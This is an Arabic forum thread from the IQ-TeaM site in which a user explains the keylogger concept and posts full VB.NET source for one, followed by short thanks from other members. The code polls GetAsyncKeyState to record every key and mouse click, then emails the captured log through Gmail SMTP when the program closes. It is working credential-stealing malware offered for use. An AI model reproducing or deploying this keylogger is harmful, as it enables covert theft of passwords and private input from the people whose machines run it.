1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : GhOst Al iraqi | المشاهدات : 275 | الردود : 9
حالة الموضوع:
مغلق
  1. GhOst Al iraqi

    GhOst Al iraqi DeveloPer Plus

    الأنتساب:
    ‏29 يوليو 2015
    المشاركات:
    98
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    السلام عليكم ورحمه الله وبركاته
    بعد غياب طويل عدنا من جديد بشرح بسيط وهوه
    مفهوم الكي لوجر
    لتعمق فيه
    مصدر - wikipedia
    http://cutt.us/ghostghostghost
    --------------
    شرح بسيط وتطبيق على vb.net -
    https://www.youtube.com/watch?v=cLYY1heiEQI&feature=youtu.be

    بالنسبة للسورس

    ========================

    كود:
    Imports System.Net.Mail
     Public Class Form1
         Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
         Public log As String
         Public ghost As String
         Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
             Timer1.Start()
         End Sub
      
         Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
             If (GetAsyncKeyState(65)) Then
                 log = log + "A"
             ElseIf (GetAsyncKeyState(66)) Then
                 log = log + "B"
             ElseIf (GetAsyncKeyState(67)) Then
                 log = log + "C"
             ElseIf (GetAsyncKeyState(68)) Then
                 log = log + "D"
             ElseIf (GetAsyncKeyState(69)) Then
                 log = log + "E"
             ElseIf (GetAsyncKeyState(70)) Then
                 log = log + "F"
             ElseIf (GetAsyncKeyState(71)) Then
                 log = log + "G"
             ElseIf (GetAsyncKeyState(72)) Then
                 log = log + "H"
             ElseIf (GetAsyncKeyState(73)) Then
                 log = log + "I"
             ElseIf (GetAsyncKeyState(74)) Then
                 log = log + "J"
             ElseIf (GetAsyncKeyState(75)) Then
                 log = log + "K"
             ElseIf (GetAsyncKeyState(76)) Then
                 log = log + "L"
             ElseIf (GetAsyncKeyState(77)) Then
                 log = log + "M"
             ElseIf (GetAsyncKeyState(78)) Then
                 log = log + "N"
             ElseIf (GetAsyncKeyState(79)) Then
                 log = log + "O"
             ElseIf (GetAsyncKeyState(80)) Then
                 log = log + "P"
             ElseIf (GetAsyncKeyState(81)) Then
                 log = log + "Q"
             ElseIf (GetAsyncKeyState(82)) Then
                 log = log + "R"
             ElseIf (GetAsyncKeyState(83)) Then
                 log = log + "S"
             ElseIf (GetAsyncKeyState(84)) Then
                 log = log + "T"
             ElseIf (GetAsyncKeyState(85)) Then
                 log = log + "U"
             ElseIf (GetAsyncKeyState(86)) Then
                 log = log + "V"
             ElseIf (GetAsyncKeyState(87)) Then
                 log = log + "W"
             ElseIf (GetAsyncKeyState(88)) Then
                 log = log + "X"
             ElseIf (GetAsyncKeyState(89)) Then
                 log = log + "Y"
             ElseIf (GetAsyncKeyState(90)) Then
                 log = log + "Z"
             ElseIf (GetAsyncKeyState(48)) Then
                 log = log + "0"
             ElseIf (GetAsyncKeyState(49)) Then
                 log = log + "1"
             ElseIf (GetAsyncKeyState(50)) Then
                 log = log + "2"
             ElseIf (GetAsyncKeyState(51)) Then
                 log = log + "3"
             ElseIf (GetAsyncKeyState(52)) Then
                 log = log + "4"
             ElseIf (GetAsyncKeyState(53)) Then
                 log = log + "5"
             ElseIf (GetAsyncKeyState(54)) Then
                 log = log + "6"
             ElseIf (GetAsyncKeyState(55)) Then
                 log = log + "7"
             ElseIf (GetAsyncKeyState(56)) Then
                 log = log + "8"
             ElseIf (GetAsyncKeyState(57)) Then
                 log = log + "9"
             ElseIf (GetAsyncKeyState(96)) Then
                 log = log + "{Num0}"
             ElseIf (GetAsyncKeyState(97)) Then
                 log = log + "{Num1}"
             ElseIf (GetAsyncKeyState(98)) Then
                 log = log + "{Num2}"
             ElseIf (GetAsyncKeyState(99)) Then
                 log = log + "{Num3}"
             ElseIf (GetAsyncKeyState(100)) Then
                 log = log + "{Num4}"
             ElseIf (GetAsyncKeyState(101)) Then
                 log = log + "{Num5}"
             ElseIf (GetAsyncKeyState(102)) Then
                 log = log + "{Num6}"
             ElseIf (GetAsyncKeyState(103)) Then
                 log = log + "{Num7}"
             ElseIf (GetAsyncKeyState(104)) Then
                 log = log + "{Num8}"
             ElseIf (GetAsyncKeyState(105)) Then
                 log = log + "{Num9}"
             ElseIf (GetAsyncKeyState(106)) Then
                 log = log + "{Num*}"
             ElseIf (GetAsyncKeyState(107)) Then
                 log = log + "{Num+}"
             ElseIf (GetAsyncKeyState(13)) Then
                 log = log + "{Enter}"
             ElseIf (GetAsyncKeyState(109)) Then
                 log = log + "{Num-}"
             ElseIf (GetAsyncKeyState(110)) Then
                 log = log + "{Num.}"
             ElseIf (GetAsyncKeyState(111)) Then
                 log = log + "{Num/}"
             ElseIf (GetAsyncKeyState(32)) Then
                 log = log + " "
             ElseIf (GetAsyncKeyState(8)) Then
                 log = log + "{Backspace}"
             ElseIf (GetAsyncKeyState(9)) Then
                 log = log + "{Tab}"
             ElseIf (GetAsyncKeyState(16)) Then
                 log = log + "{Shift}"
             ElseIf (GetAsyncKeyState(17)) Then
                 log = log + "{Control}"
             ElseIf (GetAsyncKeyState(20)) Then
                 log = log + "{Caps}"
             ElseIf (GetAsyncKeyState(27)) Then
                 log = log + "{Esc}"
             ElseIf (GetAsyncKeyState(33)) Then
                 log = log + "{PGup}"
             ElseIf (GetAsyncKeyState(34)) Then
                 log = log + "{PGdn}"
             ElseIf (GetAsyncKeyState(35)) Then
                 log = log + "{End}"
             ElseIf (GetAsyncKeyState(36)) Then
                 log = log + "{Home}"
             ElseIf (GetAsyncKeyState(37)) Then
                 log = log + "{LArrow}"
             ElseIf (GetAsyncKeyState(38)) Then
                 log = log + "{UArrow}"
             ElseIf (GetAsyncKeyState(39)) Then
                 log = log + "{RArrow}"
             ElseIf (GetAsyncKeyState(40)) Then
                 log = log + "{DArrow}"
             ElseIf (GetAsyncKeyState(45)) Then
                 log = log + "{Insert}"
             ElseIf (GetAsyncKeyState(46)) Then
                 log = log + "{Del}"
             ElseIf (GetAsyncKeyState(144)) Then
                 log = log + "{NumLock}"
             ElseIf (GetAsyncKeyState(188)) Then
                 log = log + "{,}"
             ElseIf (GetAsyncKeyState(1)) Then
                 log = log + "[L]"
             ElseIf (GetAsyncKeyState(2)) Then
                 log = log + "[R]"
             End If
         End Sub
      
         Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
             RichTextBox1.Text = log
         End Sub
      
         Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
             sendmail()
         End Sub
      
         Private Sub sendmail()
             Dim Mail As New MailMessage
             Mail.Subject = "Keylog"
             Mail.To.Add("...@gmail.com")
             Mail.From = New MailAddress("....@gmail.com")
             Mail.Body = log
             Dim SMTP As New SmtpClient("smtp.gmail.com")
             SMTP.EnableSsl = True
             SMTP.Credentials = New System.Net.NetworkCredential("....@gmail.com", "pass")
             SMTP.Port = "666"
             SMTP.Send(Mail)
         End Sub
      
         Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
             End
      
         End Sub
     End Class
    *=== تحديد كود ===*
    =================================

    في امان الله
     
    آخر تعديل بواسطة المشرف: ‏28 سبتمبر 2015
  2. ♕| s c я є α м |♕

    ♕| s c я є α м |♕ IP: 90.148.234.7 مشرف

    الأنتساب:
    ‏23 ديسمبر 2014
    المشاركات:
    636
    الإعجابات المتلقاة:
    678
    نقاط الجائزة:
    93
    الإقامة:
    7
    نظام التشغيل:
    windows xp
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    كما تعودنا منك في كل جديد )4:"
     
  3. Mira Mrmr

    Mira Mrmr .::|| زهره منتدى عراق تيم ||::. مشرفات المنتدى

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    696
    الإعجابات المتلقاة:
    148
    نقاط الجائزة:
    43
    الجنس:
    أنثى
    الإقامة:
    Baghdad
    نظام التشغيل:
    windows 8.1
    Facebook:
    YouTube:
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    [​IMG]عاشت ايدك على الشرح[​IMG]
     
  4. جـعـفـر الـشـمـري

    جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    8
    نقاط الجائزة:
    18
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    بارك الله بيك ^^
     
  5. اوجاع

    اوجاع موقوف لمخالفة الشروط

    الأنتساب:
    ‏28 سبتمبر 2015
    المشاركات:
    185
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    Facebook:
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    مشكور يعطيكك العافيهه
     
  6. Mustafa Moshkela

    Mustafa Moshkela DeveloPer Plus

    الأنتساب:
    ‏6 نوفمبر 2014
    المشاركات:
    213
    الإعجابات المتلقاة:
    10
    نقاط الجائزة:
    18
    الوظيفة:
    طالب
    نظام التشغيل:
    Linux
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    PHP
    Facebook:
    YouTube:
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    عاشت ايدك وردة {1!$1}​
     
  7. Boymoon

    Boymoon Developer

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    46
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    الله يعطيك العافية
    ع طرح السورس
    جاري الاطلاع عليه
    ً#ٌ5oًًًُ.ً#ٌ5oًًًُ.ً#ٌ5oًًًُ.​
     
  8. Janet CHaldean

    Janet CHaldean مشرفه أقسام التصميم والجرافيكس V • I • P

    الأنتساب:
    ‏5 يناير 2015
    المشاركات:
    532
    الإعجابات المتلقاة:
    1,238
    نقاط الجائزة:
    93
    الجنس:
    أنثى
    الوظيفة:
    Diplomacy
    الإقامة:
    Kingdom of Norway
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    عاشت الايادي
     
  9. A-R

    A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    18
    الإقامة:
    العراق العظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    عاشت ايدك شرح رووعة

     
  10. Security ALqassem

    Security ALqassem قراصنة القاسم Developer

    الأنتساب:
    ‏7 سبتمبر 2015
    المشاركات:
    134
    الإعجابات المتلقاة:
    36
    نقاط الجائزة:
    28
    الجنس:
    ذكر
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    عاااشت ايدك وردة
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة